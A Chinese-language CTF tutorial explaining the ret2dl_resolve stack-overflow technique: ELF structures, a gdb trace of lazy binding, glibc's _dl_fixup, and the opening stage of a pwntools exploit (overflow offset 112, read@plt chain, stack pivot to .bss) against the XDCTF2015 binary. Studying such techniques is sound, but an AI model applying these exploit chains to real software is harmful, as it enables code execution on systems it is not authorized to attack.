前言: 近期是期末阶段了,不想复习啊:b。真滴是难受,学pwn也有一个学期了,倒没学的有多好,只是能把栈溢出和格式化这一块基本上的知识点全都学明白了,暑假的时候再好好学一学堆上面的知识,然后我就可以开始研究cve啦~大概的计划就是这样的了。
简介: 主要写一写花了好久才弄懂的一个栈溢出的高级利用方式:return_to_dl_resolve。这一块的知识点虽然说网上确实有蛮多的,但是很多小点处我都不是特别明白,所以说一直卡了很久,现在把自己所遇到的一些坑点写一写。
写在前面: 亲自实践过后所得的原因,为什么要在bss段的基址再加上一段偏移的地址开始写内容?
解答:因为亲自实践可发现如果直接从bss段地址开始写,跳转到plt地址执行的之后的几个指令会有多个push指令,所以如果栈顶是bss开始地址,那么再push之后会越出bss段的范围,所以程序会直接崩溃,所以需要我们再bss基址上加上偏移再开始写内容。
介绍: 0x1. 原理介绍: 我们知道,在动态链接中,如果程序没有开启 Full RELRO 保护,则存在延迟绑定的过程,即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。
一个动态链接程序的程序头表中会包含类型为 PT_DYNAMIC
的段,它包含了 .dynamic
段,结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn;
一个 Elf_Dyn
是一个键值对,其中 d_tag
是键,d_value
是值。其中有个例外的条目是 DT_DEBUG
,它保存了动态装载器内部数据结构的指针。
段表结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; typedef struct { Elf64_Word sh_name; /* Section name (string tbl index) */ Elf64_Word sh_type; /* Section type */ Elf64_Xword sh_flags; /* Section flags */ Elf64_Addr sh_addr; /* Section virtual addr at execution */ Elf64_Off sh_offset; /* Section file offset */ Elf64_Xword sh_size; /* Section size in bytes */ Elf64_Word sh_link; /* Link to another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */ } Elf64_Shdr;
具体来看,首先在 write@plt 地址处下断点,然后运行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 gdb-peda$ p write $1 = {<text variable, no debug info>} 0x8048430 <write@plt> gdb-peda$ b *0x8048430 Breakpoint 1 at 0x8048430 gdb-peda$ r Starting program: /home/firmy/Desktop/RE4B/200/a.out [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048430 (<write@plt>: jmp DWORD PTR ds:0x804a01c) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018 0x8048426 <__libc_start_main@plt+6>: push 0x18 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 => 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c | 0x8048436 <write@plt+6>: push 0x20 | 0x804843b <write@plt+11>: jmp 0x80483e0 | 0x8048440: jmp DWORD PTR ds:0x8049ff0 | 0x8048446: xchg ax,ax |-> 0x8048436 <write@plt+6>: push 0x20 0x804843b <write@plt+11>: jmp 0x80483e0 0x8048440: jmp DWORD PTR ds:0x8049ff0 0x8048446: xchg ax,ax JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048430 in write@plt () gdb-peda$ x/w 0x804a01c 0x804a01c: 0x08048436
由于是第一次运行,尚未进行绑定,0x804a01c
地址处保存的是 write@plt+6 的地址 0x8048436
,即跳转到下一条指令。
将 0x20
压入栈中,这个数字是导入函数的标识,即一个 ELF_Rel 在 .rel.plt
中的偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048436 (<write@plt+6>: push 0x20) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048426 <__libc_start_main@plt+6>: push 0x18 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c => 0x8048436 <write@plt+6>: push 0x20 0x804843b <write@plt+11>: jmp 0x80483e0 0x8048440: jmp DWORD PTR ds:0x8049ff0 0x8048446: xchg ax,ax 0x8048448: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048436 in write@plt ()
然后跳转到 0x80483e0
,该地址是 .plt
段的开头,即 PLT[0]:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x804843b (<write@plt+11>: jmp 0x80483e0) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c 0x8048436 <write@plt+6>: push 0x20 => 0x804843b <write@plt+11>: jmp 0x80483e0 | 0x8048440: jmp DWORD PTR ds:0x8049ff0 | 0x8048446: xchg ax,ax | 0x8048448: add BYTE PTR [eax],al | 0x804844a: add BYTE PTR [eax],al |-> 0x80483e0: push DWORD PTR ds:0x804a004 0x80483e6: jmp DWORD PTR ds:0x804a008 0x80483ec: add BYTE PTR [eax],al 0x80483ee: add BYTE PTR [eax],al JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) 0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804843b in write@plt ()
1 2 $ readelf -S a.out | grep 80483e0 [12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16
接下来就进入 PLT[0] 处的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x80483e0 (push DWORD PTR ds:0x804a004) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80483e0: push DWORD PTR ds:0x804a004 0x80483e6: jmp DWORD PTR ds:0x804a008 0x80483ec: add BYTE PTR [eax],al 0x80483ee: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) 0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e0 in ?? () gdb-peda$ x/w 0x804a004 0x804a004: 0xf7ffd900 gdb-peda$ x/w 0x804a008 0x804a008: 0xf7fec370
1 2 $ readelf -S a.out | grep .got.plt [23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
看一下 .got.plt
段,所以 0x804a004
和 0x804a008
分别是 GOT[1] 和 GOT[2]。继续调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0 EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80483dd: add BYTE PTR [eax],al 0x80483df: add bh,bh 0x80483e1: xor eax,0x804a004 => 0x80483e6: jmp DWORD PTR ds:0x804a008 | 0x80483ec: add BYTE PTR [eax],al | 0x80483ee: add BYTE PTR [eax],al | 0x80483f0 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c | 0x80483f6 <setbuf@plt+6>: push 0x0 |-> 0xf7fec370 <_dl_runtime_resolve>: push eax 0xf7fec371 <_dl_runtime_resolve+1>: push ecx 0xf7fec372 <_dl_runtime_resolve+2>: push edx 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd594 --> 0xf7ffd900 --> 0x0 0004| 0xffffd598 --> 0x20 (' ') 0008| 0xffffd59c --> 0x804861b (add esp,0x10) 0012| 0xffffd5a0 --> 0x1 0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0020| 0xffffd5a8 --> 0x17 0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e6 in ?? ()
PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义,动态链接器在开始时给它们填充了特殊的内容:
GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 l_info
域中保存了 .dynamic
段中大多数条目的指针构成的一个数组,我们后面会利用它。它包含了.dynamic
的指针,通过这个link_map
,_dl_runtime_resolve
函数可以访问到.dynamic
这个section。
GOT[2]:一个指向动态装载器中 _dl_runtime_resolve
函数的指针。
函数使用参数 link_map_obj
来获取解析导入函数(使用reloc_index
参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 _dl_runtime_resolve
解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。
_dl-runtime-resolve
的过程如下图所示:
重定位项使用 Elf_Rel 结构体来描述,存在于 .rep.plt
段和 .rel.dyn
段中,只不过.rel.plt
是用于函数重定位,.rel.dyn
是用于变量重定位。:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela;
32 位程序使用 REL,而 64 位程序使用 RELA。
下面的宏描述了 r_info 是怎样被解析和插入的:
1 2 3 4 5 6 7 8 9 /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
举个例子:
1 ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
每个符号使用 Elf_Sym 结构体来描述,存在于 .dynsym
段和 .symtab
段中,而 .symtab
在 strip 之后会被删掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
下面的宏描述了 st_info 是怎样被解析和插入的:
1 2 3 4 5 6 7 8 9 10 /* How to extract and insert information held in the st_info field. */ #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) /* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */ #define ELF64_ST_BIND(val) ELF32_ST_BIND (val) #define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val) #define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))
所以 PLT[0] 其实就是调用的以下函数:
1 _dl_runtime_resolve(link_map_obj, reloc_index)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gdb-peda$ disassemble 0xf7fec370 Dump of assembler code for function _dl_runtime_resolve: 0xf7fec370 <+0>: push eax 0xf7fec371 <+1>: push ecx 0xf7fec372 <+2>: push edx 0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10] 0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc] 0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup> 0xf7fec380 <+16>: pop edx 0xf7fec381 <+17>: mov ecx,DWORD PTR [esp] 0xf7fec384 <+20>: mov DWORD PTR [esp],eax 0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4] 0xf7fec38b <+27>: ret 0xc End of assembler dump.
该函数在 glibc/sysdeps/i386/dl-trampoline.S
中用汇编实现,先保存寄存器,然后将两个值分别传入寄存器,调用 _dl_fixup
,最后恢复寄存器:
1 2 3 4 gdb-peda$ x/w $esp+0x10 0xffffd598: 0x00000020 gdb-peda$ x/w $esp+0xc 0xffffd594: 0xf7ffd900
还记得这两个值吗,一个是在 <write@plt+6>: push 0x20
中压入的偏移量,一个是 PLT[0] 中 push DWORD PTR ds:0x804a004
压入的 GOT[1]。
函数 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
,其参数分别由寄存器 eax
和 edx
提供。继续调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xf7ffd900 --> 0x0 EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x20 (' ') ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd588 --> 0x3 EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7fec372 <_dl_runtime_resolve+2>: push edx 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] 0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc] => 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup> 0xf7fec380 <_dl_runtime_resolve+16>: pop edx 0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp] 0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax 0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4] Guessed arguments: arg[0]: 0x3 arg[1]: 0x2a8c arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd588 --> 0x3 0004| 0xffffd58c --> 0x2a8c 0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd594 --> 0xf7ffd900 --> 0x0 0016| 0xffffd598 --> 0x20 (' ') 0020| 0xffffd59c --> 0x804861b (add esp,0x10) 0024| 0xffffd5a0 --> 0x1 0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2 gdb-peda$ s [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0xf7ea3100 (<write>: push esi) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7ea30fb: xchg ax,ax 0xf7ea30fd: xchg ax,ax 0xf7ea30ff: nop => 0xf7ea3100 <write>: push esi 0xf7ea3101 <write+1>: push ebx 0xf7ea3102 <write+2>: sub esp,0x14 0xf7ea3105 <write+5>: mov ebx,DWORD PTR [esp+0x20] 0xf7ea3109 <write+9>: mov ecx,DWORD PTR [esp+0x24] [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7ea3100 in write () from /usr/lib32/libc.so.6
即使我们使用单步进入,也不能调试 _dl_fixup
,它直接就执行完成并跳转到 write 函数了,而此时,GOT 的地址已经被覆盖为实际地址:
1 2 gdb-peda$ x/w 0x804a01c 0x804a01c: 0xf7ea3100
再强调一遍:fixup 是通过寄存器取参数的,这似乎违背了 32 位程序的调用约定,但它就是这样,上面 gdb 中显示的参数是错误的,该函数对程序员来说是透明的,所以会尽量少用栈去做操作。
既然不能调试,直接看代码吧,在 glibc/elf/dl-runtime.c
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { // 分别获取动态链接符号表和动态链接字符串表的基址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // 通过参数 reloc_arg 计算重定位入口,这里的 DT_JMPREL 即 .rel.plt,reloc_offset 即 reloc_arg const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 根据函数重定位表中的动态链接符号表索引,即 reloc->r_info,获取函数在动态链接符号表中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif // 根据 strtab+sym->st_name 在字符串表中找到函数名,然后进行符号查找获取 libc 基址 result result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ // 将要解析的函数的偏移地址加上 libc 基址,得到函数的实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); // 将已经解析完成的函数地址写入相应的 GOT 表中 if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
0x2. 攻击方式: 关于延迟绑定的攻击,在于强迫动态装载器解析请求的函数。
图a中,因为动态转载器是从 .dynamic
段的 DT_STRTAB
条目中获得 .dynstr
段的地址的,而 DT_STRTAB
条目的位置已知,默认情况下也可写。所以攻击者能够改写 DT_STRTAB
条目的内容,欺骗动态装载器,让它以为 .dynstr
段在 .bss
段中,并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名,最终执行的是 execve。这种方式非常简单,但仅当二进制程序的 .dynamic
段可写时有效。
图b中,我们已经知道 _dl_runtime_resolve
的第二个参数是 Elf_Rel 条目在 .rel.plt
段中的偏移,动态装载器将这个值加上 .rel.plt
的基址来得到目标结构体的绝对位置。然后当传递给 _dl_runtime_resolve
的参数 reloc_index
超出了 .rel.plt
段,并最终落在 .bss
段中时,攻击者可以在该位置伪造了一个 Elf_Rel
结构,并填写 r_offset
的值为一个可写的内存地址来将解析后的函数地址写在那里,同理 r_info
也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 Elf_Sym
结构,而 Elf_Sym
结构中的 st_name
同样超出了 .dynsym
段。这样这个符号就会包含一个相对于 .dynstr
地址足够大的偏移使其能够达到这个符号之后的一段内存,而那段内存里保存着这个将要调用的函数的名称。
还记得我们前面说过的 GOT[1],它是一个 link_map 类型的指针,其 l_info
域中有一个包含 .dynmic
段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link_map 的一部分,就能够将 l_info
域中的 DT_STRTAB
条目指向一个特意制造的动态条目,那里则指向一个假的动态字符串表。
0x3. 实例攻击方式: 0xa. 第一种攻击方式: 首先触发栈溢出漏洞,偏移为 112:
1 2 gdb-peda$ pattern_offset 0x41384141 1094205761 found at offset: 112
根据理论知识及对二进制文件的分析,我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表,一个 write 函数用于验证每一步的正确性,最后将 write 换成 system,就能得到 shell 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * # context.log_level = 'debug' elf = ELF('./a.out') io = remote('127.0.0.1', 10001) io.recv() pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret pop_ebp_addr = 0x0804869b # pop ebp ; ret leave_ret_addr = 0x080484b6 # leave ; ret write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 base_addr = bss_addr + 0x600 # 0x804a628
分别获取伪造各种表所需要的段地址,将 bss 段的地址加上 0x600 作为伪造数据的基地址,这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈, pop ebp 和 leave ret 配合,以达到将 esp 指向 base_addr 的目的(在章节3.3.4中有讲到)。
第一部分的 payload 如下所示,首先从标准输入读取 100 字节到 base_addr,将 esp 指向它,并跳转过去,执行 base_addr 处的 payload:
1 2 3 4 5 6 7 8 9 10 11 payload_1 = "A" * 112 payload_1 += p32(read_plt) payload_1 += p32(pppr_addr) payload_1 += p32(0) payload_1 += p32(base_addr) payload_1 += p32(100) payload_1 += p32(pop_ebp_addr) payload_1 += p32(base_addr) payload_1 += p32(leave_ret_addr) io.send(payload_1)
